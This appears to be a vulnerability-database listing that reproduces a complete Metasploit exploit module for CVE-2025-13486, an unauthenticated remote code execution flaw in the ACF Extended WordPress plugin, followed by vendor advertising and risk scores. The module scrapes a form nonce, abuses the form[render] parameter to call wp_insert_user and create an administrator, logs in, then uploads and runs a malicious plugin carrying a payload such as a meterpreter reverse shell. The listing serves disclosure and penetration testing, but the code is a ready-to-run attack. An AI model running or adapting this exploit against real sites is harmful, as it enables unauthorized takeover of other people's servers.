Lucene search
K

πŸ“„ WordPress ACF 0.9.1.1 Remote Code Execution

πŸ—“οΈΒ 19 Dec 2025Β 00:00:00Reported byΒ Marcin Dudek, Valentin LobsteinTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 192Β Views

Unauthenticated RCE in ACF Extended 0.9.0.5–0.9.1.1 via form render; requires admin creation.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-13486
19 Dec 202510:49
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
3 Dec 202517:22
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
4 Dec 202507:54
–githubexploit
GithubExploit
Ntemplatesbyxit
7 May 202615:36
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
5 Dec 202507:57
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
6 Dec 202513:54
–githubexploit
GithubExploit
Exploit for CVE-2025-13486
4 Dec 202523:28
–githubexploit
Circl
CVE-2025-13486
3 Dec 202506:26
–circl
CNNVD
WordPress plugin Advanced Custom Fields Extended 代码注ε…₯漏洞
3 Dec 202500:00
–cnnvd
CVE
CVE-2025-13486
3 Dec 202506:47
–cve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
            'Description' => %q{
              This module exploits an unauthenticated Remote Code Execution vulnerability in the
              Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
              through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
              acfe_module_form_front_render class, which accepts user-controlled input via the
              form[render] parameter and passes it directly to call_user_func_array() without
              proper sanitization.
    
              This exploit requires a WordPress page containing an ACF Extended form widget, which
              exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
              must be set to the path of such a page.
    
              Once an administrator account is created via wp_insert_user(), the module uploads
              and executes a malicious plugin to achieve remote code execution (RCE).
            },
            'Author' => [
              'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
              'Valentin Lobstein <[email protected]>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-13486'],
              ['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'DisclosureDate' => '2025-12-02',
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
          OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
          OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
          OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
        ])
      end
    
      def check
        return CheckCode::Unknown unless wordpress_and_online?
    
        plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
        return plugin_check if plugin_check == CheckCode::Safe
    
        @nonce = find_nonce
        return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce
    
        CheckCode::Appears
      end
    
      def exploit
        unless wordpress_and_online?
          fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
        end
    
        admin_cookie = create_admin_user
        upload_and_execute_payload(admin_cookie)
      end
    
      def ensure_nonce
        return if @nonce
    
        @nonce = find_nonce
        fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
      end
    
      def find_nonce
        nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
        res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
        return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i
    
        Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
      end
    
      def send_exploit_request
        ensure_nonce
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => wordpress_url_admin_ajax,
          'vars_post' => {
            'action' => 'acfe/form/render_form_ajax',
            'nonce' => @nonce,
            'form[render]' => 'wp_insert_user',
            'form[user_login]' => datastore['USERNAME'],
            'form[user_email]' => datastore['EMAIL'],
            'form[user_pass]' => datastore['PASSWORD'],
            'form[role]' => 'administrator'
          }
        )
      end
    
      def create_admin_user
        res = send_exploit_request
        fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
        fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}
    
        print_good('Administrator account created successfully')
    
        cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
        fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
        cookie
      end
    
      def upload_and_execute_payload(admin_cookie)
        plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
        payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    
        zip = generate_plugin(plugin_name, payload_name)
        unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
          fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
        end
    
        register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
        register_dir_for_cleanup("../#{plugin_name}")
    
        payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
        send_request_cgi('uri' => payload_uri, 'method' => 'GET')
      end
    end

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Dec 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.7789
SSVC
192